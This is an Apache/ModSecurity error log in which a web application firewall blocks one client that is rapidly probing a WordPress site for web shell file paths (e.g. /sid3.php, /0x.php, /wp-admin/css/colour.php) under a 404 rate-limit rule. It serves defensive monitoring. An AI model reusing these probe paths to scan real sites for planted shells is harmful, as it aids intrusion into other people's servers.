[Fri Jan 02 20:28:57.330493 2026] [:error] [pid 29316:tid 29321] [client 4.189.161.129:45579] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aVe6CdfT9ty-7jZmgf-msgAAAQM"]
[Fri Jan 02 20:28:57.713991 2026] [:error] [pid 63099:tid 63136] [client 4.189.161.129:60632] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aVe6CcmCZokRPYUhzvi3EgAAAEI"]
[Fri Jan 02 20:28:58.152510 2026] [:error] [pid 50186:tid 50207] [client 4.189.161.129:60637] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aVe6ClXqK_iX4f-S70JtTAAAAZM"]
[Fri Jan 02 20:28:58.549674 2026] [:error] [pid 63098:tid 63117] [client 4.189.161.129:57741] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aVe6Csez9k78gUs48kpSkgAAAAo"]
[Fri Jan 02 20:28:59.001325 2026] [:error] [pid 63208:tid 63215] [client 4.189.161.129:57781] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aVe6C3KLI9INGPLzfndBiAAAAMQ"]
[Fri Jan 02 20:28:59.292957 2026] [:error] [pid 50186:tid 50198] [client 4.189.161.129:60610] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aVe6C1XqK_iX4f-S70JtTgAAAYo"]
[Fri Jan 02 20:28:59.601650 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:57791] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aVe6C3KLI9INGPLzfndBiQAAAMc"]
[Fri Jan 02 20:29:00.016004 2026] [:error] [pid 50186:tid 50194] [client 4.189.161.129:57769] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aVe6DFXqK_iX4f-S70JtTwAAAYY"]
[Fri Jan 02 20:29:00.483134 2026] [:error] [pid 50186:tid 50203] [client 4.189.161.129:57779] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n.php"] [unique_id "aVe6DFXqK_iX4f-S70JtUQAAAY8"]
[Fri Jan 02 20:29:01.078435 2026] [:error] [pid 63098:tid 63107] [client 4.189.161.129:46873] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aVe6Dcez9k78gUs48kpSlwAAAAA"]
[Fri Jan 02 20:29:01.531714 2026] [:error] [pid 50046:tid 50053] [client 4.189.161.129:60624] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aVe6DSzv7fgIiwkQYNCoXAAAAUU"]
[Fri Jan 02 20:29:01.917563 2026] [:error] [pid 63208:tid 63230] [client 4.189.161.129:57752] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aVe6DXKLI9INGPLzfndBjAAAANM"]
[Fri Jan 02 20:29:02.386735 2026] [:error] [pid 43358:tid 43363] [client 4.189.161.129:45597] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jmfi2.php"] [unique_id "aVe6DgncbHK9auzvrA9QuAAAAcM"]
[Fri Jan 02 20:29:03.056890 2026] [:error] [pid 63099:tid 63143] [client 4.189.161.129:46848] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aVe6D8mCZokRPYUhzvi3FgAAAEk"]
[Fri Jan 02 20:29:03.723342 2026] [:error] [pid 63098:tid 63108] [client 4.189.161.129:60631] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aVe6D8ez9k78gUs48kpSmAAAAAE"]
[Fri Jan 02 20:29:04.003677 2026] [:error] [pid 29316:tid 29327] [client 4.189.161.129:57772] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aVe6ENfT9ty-7jZmgf-mtQAAAQk"]
[Fri Jan 02 20:29:04.402567 2026] [:error] [pid 63208:tid 63228] [client 4.189.161.129:57763] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nij.php"] [unique_id "aVe6EHKLI9INGPLzfndBkAAAANE"]
[Fri Jan 02 20:29:04.841565 2026] [:error] [pid 43358:tid 43379] [client 4.189.161.129:60609] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aVe6EAncbHK9auzvrA9QugAAAdM"]
[Fri Jan 02 20:29:05.444152 2026] [:error] [pid 63208:tid 63221] [client 4.189.161.129:57755] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aVe6EXKLI9INGPLzfndBkgAAAMo"]
[Fri Jan 02 20:29:05.784965 2026] [:error] [pid 63208:tid 63234] [client 4.189.161.129:57737] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aVe6EXKLI9INGPLzfndBlAAAANc"]
[Fri Jan 02 20:29:06.251736 2026] [:error] [pid 29316:tid 29324] [client 4.189.161.129:60643] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "aVe6EtfT9ty-7jZmgf-mtwAAAQY"]
[Fri Jan 02 20:29:06.694509 2026] [:error] [pid 50186:tid 50191] [client 4.189.161.129:45621] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVe6ElXqK_iX4f-S70JtWQAAAYM"]
[Fri Jan 02 20:29:07.080518 2026] [:error] [pid 43358:tid 43360] [client 4.189.161.129:57736] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVe6EwncbHK9auzvrA9QuwAAAcA"]
[Fri Jan 02 20:29:07.501780 2026] [:error] [pid 63099:tid 63153] [client 4.189.161.129:60656] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVe6E8mCZokRPYUhzvi3GQAAAFM"]
[Fri Jan 02 20:29:08.072268 2026] [:error] [pid 29316:tid 29328] [client 4.189.161.129:57770] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVe6FNfT9ty-7jZmgf-muAAAAQo"]
[Fri Jan 02 20:29:08.343581 2026] [:error] [pid 50046:tid 50059] [client 4.189.161.129:60655] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/auth.php"] [unique_id "aVe6FCzv7fgIiwkQYNCoXwAAAUs"]
[Fri Jan 02 20:29:08.606788 2026] [:error] [pid 63099:tid 63146] [client 4.189.161.129:46899] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/auth.php"] [unique_id "aVe6FMmCZokRPYUhzvi3GgAAAEw"]
[Fri Jan 02 20:29:08.951719 2026] [:error] [pid 63098:tid 63126] [client 4.189.161.129:57777] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/auth.php"] [unique_id "aVe6FMez9k78gUs48kpSngAAABM"]
[Fri Jan 02 20:29:09.481990 2026] [:error] [pid 63208:tid 63218] [client 4.189.161.129:60666] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/auth.php"] [unique_id "aVe6FXKLI9INGPLzfndBmQAAAMc"]
[Fri Jan 02 20:29:10.107101 2026] [:error] [pid 63100:tid 63182] [client 4.189.161.129:46850] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVe6FjuUXUKd3KTnKl9IDQAAAJU"]
[Fri Jan 02 20:29:10.524104 2026] [:error] [pid 63100:tid 63166] [client 4.189.161.129:57754] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVe6FjuUXUKd3KTnKl9IEQAAAIU"]
[Fri Jan 02 20:29:11.054356 2026] [:error] [pid 43358:tid 43381] [client 4.189.161.129:60614] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVe6FwncbHK9auzvrA9QvQAAAdU"]
[Fri Jan 02 20:29:11.644166 2026] [:error] [pid 43358:tid 43367] [client 4.189.161.129:60633] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aVe6FwncbHK9auzvrA9QvgAAAcc"]
[Fri Jan 02 20:29:12.304266 2026] [:error] [pid 29316:tid 29340] [client 4.189.161.129:46895] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVe6GNfT9ty-7jZmgf-mwAAAARY"]
[Fri Jan 02 20:29:12.580414 2026] [:error] [pid 63098:tid 63127] [client 4.189.161.129:57747] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVe6GMez9k78gUs48kpSpwAAABQ"]
[Fri Jan 02 20:29:12.927381 2026] [:error] [pid 63098:tid 63123] [client 4.189.161.129:57783] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVe6GMez9k78gUs48kpSqQAAABA"]
[Fri Jan 02 20:29:13.294974 2026] [:error] [pid 63098:tid 63131] [client 4.189.161.129:60615] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aVe6Gcez9k78gUs48kpSqwAAABg"]
[Fri Jan 02 20:29:13.904835 2026] [:error] [pid 63098:tid 63119] [client 4.189.161.129:17435] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aVe6Gcez9k78gUs48kpSrAAAAAw"]
[Fri Jan 02 20:29:14.313151 2026] [:error] [pid 63100:tid 63170] [client 4.189.161.129:45607] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aVe6GjuUXUKd3KTnKl9IFwAAAIk"]
[Fri Jan 02 20:29:14.789813 2026] [:error] [pid 63208:tid 63212] [client 4.189.161.129:45613] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aVe6GnKLI9INGPLzfndBoAAAAME"]
[Fri Jan 02 20:29:15.188588 2026] [:error] [pid 63208:tid 63221] [client 4.189.161.129:60621] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aVe6G3KLI9INGPLzfndBoQAAAMo"]
[Fri Jan 02 20:29:15.907953 2026] [:error] [pid 63100:tid 63163] [client 4.189.161.129:57780] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aVe6GzuUXUKd3KTnKl9IHAAAAII"]
[Fri Jan 02 20:29:16.425061 2026] [:error] [pid 63099:tid 63145] [client 4.189.161.129:45612] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aVe6HMmCZokRPYUhzvi3HQAAAEs"]
[Fri Jan 02 20:29:16.850173 2026] [:error] [pid 63098:tid 63120] [client 4.189.161.129:57745] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aVe6HMez9k78gUs48kpSrwAAAA0"]
[Fri Jan 02 20:29:17.441948 2026] [:error] [pid 63099:tid 63142] [client 4.189.161.129:45588] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aVe6HcmCZokRPYUhzvi3HgAAAEg"]
[Fri Jan 02 20:29:18.056536 2026] [:error] [pid 63208:tid 63235] [client 4.189.161.129:46908] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aVe6HnKLI9INGPLzfndBogAAANg"]
[Fri Jan 02 20:29:18.725713 2026] [:error] [pid 50046:tid 50055] [client 4.189.161.129:57730] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aVe6Hizv7fgIiwkQYNCoZgAAAUc"]
[Fri Jan 02 20:29:19.242519 2026] [:error] [pid 63099:tid 63155] [client 4.189.161.129:60651] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aVe6H8mCZokRPYUhzvi3IQAAAFU"]
[Fri Jan 02 20:29:19.854146 2026] [:error] [pid 63099:tid 63157] [client 4.189.161.129:57762] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-903.php"] [unique_id "aVe6H8mCZokRPYUhzvi3JAAAAFc"]
[Fri Jan 02 20:29:20.397159 2026] [:error] [pid 63208:tid 63230] [client 4.189.161.129:46855] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVe6IHKLI9INGPLzfndBqAAAANM"]
[Fri Jan 02 20:29:20.830135 2026] [:error] [pid 63098:tid 63111] [client 4.189.161.129:60619] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVe6IMez9k78gUs48kpStAAAAAQ"]
[Fri Jan 02 20:29:21.184886 2026] [:error] [pid 63098:tid 63128] [client 4.189.161.129:60635] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVe6Icez9k78gUs48kpStQAAABU"]
[Fri Jan 02 20:29:21.878728 2026] [:error] [pid 50046:tid 50049] [client 4.189.161.129:60611] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aVe6ISzv7fgIiwkQYNCoZwAAAUE"]
[Fri Jan 02 20:29:22.665405 2026] [:error] [pid 63208:tid 63221] [client 4.189.161.129:46891] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVe6InKLI9INGPLzfndBrAAAAMo"]
[Fri Jan 02 20:29:23.798729 2026] [:error] [pid 50046:tid 50068] [client 4.189.161.129:57751] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVe6Iyzv7fgIiwkQYNCoaAAAAVQ"]
[Fri Jan 02 20:29:24.492068 2026] [:error] [pid 63098:tid 63113] [client 4.189.161.129:57785] [client 4.189.161.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless5.php"] [unique_id "aVe6JMez9k78gUs48kpSugAAAAY"]
